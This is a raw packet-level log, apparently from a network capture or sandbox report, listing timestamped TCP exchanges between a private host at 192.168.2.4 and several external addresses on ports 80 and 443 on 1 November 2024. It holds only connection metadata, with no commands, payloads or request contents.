Nov 1, 2024 08:51:38.047700882 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047703981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047719955 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047725916 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047735929 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047745943 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047753096 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047761917 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047769070 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047780037 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047785044 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047801018 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047810078 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047816038 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047818899 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047831059 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047844887 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047847033 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047856092 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047863007 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047878981 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047878981 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047894001 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047895908 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047913074 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047920942 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047936916 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047945023 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047952890 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047957897 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047971010 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047977924 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.047990084 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.047998905 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048005104 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048012972 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048022032 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048032999 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048036098 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048046112 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048054934 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048069000 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048070908 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048083067 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048088074 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048104048 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048105001 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048119068 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048121929 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048139095 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048139095 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048146963 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048157930 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048171043 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048176050 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048185110 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048193932 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048202038 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048209906 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:38.048223972 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048235893 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.048257113 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:38.049066067 CET	57817	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:38.049107075 CET	443	57817	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:38.049180031 CET	57817	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:38.049545050 CET	57817	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:38.049565077 CET	443	57817	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:38.654359102 CET	443	57817	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:38.654431105 CET	57817	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:38.655898094 CET	57817	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:38.655913115 CET	443	57817	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:38.656162977 CET	443	57817	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:38.657490015 CET	57817	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:38.657697916 CET	57817	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:38.657705069 CET	443	57817	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:39.134576082 CET	443	57817	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:39.134684086 CET	443	57817	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:39.134768009 CET	57817	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:39.135014057 CET	57817	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:39.135035038 CET	443	57817	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:40.290375948 CET	57773	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:40.290740013 CET	57830	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:40.295602083 CET	80	57830	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:40.295640945 CET	80	57773	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:40.295706034 CET	57830	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:40.295734882 CET	57773	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:40.296097040 CET	57830	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:40.300852060 CET	80	57830	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:40.450714111 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:40.450743914 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:40.450814009 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:40.451121092 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:40.451133013 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.080986023 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.081052065 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.082114935 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.082119942 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.082377911 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.083590984 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.084449053 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.084481955 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.084655046 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.084686041 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.086036921 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.086086988 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.086229086 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.086256981 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.086431026 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.086451054 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.086636066 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.086674929 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.086688042 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.086694956 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.086869955 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.086888075 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.086908102 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.087068081 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.087100029 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.094825029 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.095020056 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.095069885 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.095083952 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.095099926 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.095120907 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.095134974 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.095136881 CET	57834	443	192.168.2.4	188.114.96.3
Nov 1, 2024 08:51:41.095155954 CET	443	57834	188.114.96.3	192.168.2.4
Nov 1, 2024 08:51:41.177678108 CET	57838	80	192.168.2.4	185.215.113.206
Nov 1, 2024 08:51:41.182545900 CET	80	57838	185.215.113.206	192.168.2.4
Nov 1, 2024 08:51:41.183005095 CET	57838	80	192.168.2.4	185.215.113.206
Nov 1, 2024 08:51:41.183149099 CET	57838	80	192.168.2.4	185.215.113.206
Nov 1, 2024 08:51:41.187896967 CET	80	57838	185.215.113.206	192.168.2.4
Nov 1, 2024 08:51:41.199126005 CET	80	57830	185.215.113.43	192.168.2.4
Nov 1, 2024 08:51:41.199210882 CET	57830	80	192.168.2.4	185.215.113.43
Nov 1, 2024 08:51:41.201144934 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:41.201375008 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:41.206195116 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:41.206259966 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:41.206356049 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:41.207041979 CET	80	57777	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:41.207092047 CET	57777	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:41.211102009 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.106406927 CET	80	57838	185.215.113.206	192.168.2.4
Nov 1, 2024 08:51:42.106982946 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.106996059 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.107002974 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.107021093 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.107048035 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.107076883 CET	57838	80	192.168.2.4	185.215.113.206
Nov 1, 2024 08:51:42.107081890 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.107080936 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.107104063 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.107110977 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.107115984 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.107131958 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.107137918 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.107141972 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.107162952 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.107187033 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.109203100 CET	57838	80	192.168.2.4	185.215.113.206
Nov 1, 2024 08:51:42.111990929 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.112009048 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.112020969 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.112061977 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.112071991 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.112072945 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.112097979 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.112111092 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.113996029 CET	80	57838	185.215.113.206	192.168.2.4
Nov 1, 2024 08:51:42.261749983 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.261780024 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.261794090 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.261820078 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.261842012 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.261843920 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.261857033 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.261868000 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.261873960 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.261889935 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.261915922 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.262487888 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.262501955 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.262533903 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.262559891 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.262577057 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.262620926 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.262635946 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.262660027 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.262675047 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.262677908 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.262690067 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.262701988 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.262711048 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.262726068 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.263261080 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.263304949 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.263333082 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.263350010 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.263638973 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.378992081 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.379019976 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.379035950 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.379060030 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.379064083 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.379085064 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.379089117 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.379107952 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.379132032 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.379137039 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.379153967 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.379172087 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.379199982 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.379223108 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.379589081 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.379633904 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.379678011 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.401258945 CET	80	57838	185.215.113.206	192.168.2.4
Nov 1, 2024 08:51:42.401937008 CET	57838	80	192.168.2.4	185.215.113.206
Nov 1, 2024 08:51:42.416596889 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.416613102 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.416629076 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.416644096 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.416670084 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.416690111 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.417186975 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.417283058 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.417320013 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.420015097 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.420038939 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.420061111 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.420079947 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.420106888 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.495954990 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.495980978 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.496005058 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.496021032 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.496037960 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.496061087 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.496074915 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.496097088 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.496112108 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.496113062 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.496135950 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.496145010 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.496151924 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.496159077 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.496179104 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.496191978 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.497065067 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.499634981 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.533255100 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.533272982 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.533325911 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.534064054 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.534079075 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.534100056 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.534122944 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.534137964 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.537261963 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.537285089 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.537301064 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.537345886 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.613025904 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.613059998 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.613076925 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.613091946 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.613111019 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.613161087 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.613194942 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.613212109 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.613224030 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.613229990 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.613233089 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.613264084 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.613285065 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.613301039 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.613317013 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.613322973 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.613348007 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.613379955 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.650825024 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.650882959 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.650940895 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.651493073 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.651566982 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.651592016 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.651611090 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.651637077 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.654474974 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.654500008 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.654517889 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.654555082 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.654583931 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.730860949 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.730894089 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.730920076 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.730937958 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.730953932 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.730993986 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.731039047 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.731103897 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.731172085 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.731188059 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.731204033 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.731216908 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.731220007 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.731250048 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.731251001 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.731266975 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.767544985 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.767577887 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.767595053 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.767668009 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.767698050 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.768225908 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.768309116 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.768337011 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.768352032 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.768367052 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.768390894 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.768421888 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.771302938 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.771348953 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.771401882 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.771429062 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.771435022 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.771459103 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.771471024 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.771486998 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.771502018 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.771517038 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.847620010 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.847652912 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.847668886 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.847687006 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.847707033 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.847723961 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.847742081 CET	80	57840	185.215.113.16	192.168.2.4
Nov 1, 2024 08:51:42.847773075 CET	57840	80	192.168.2.4	185.215.113.16
Nov 1, 2024 08:51:42.848109961 CET	80	57840	185.215.113.16	192.168.2.4
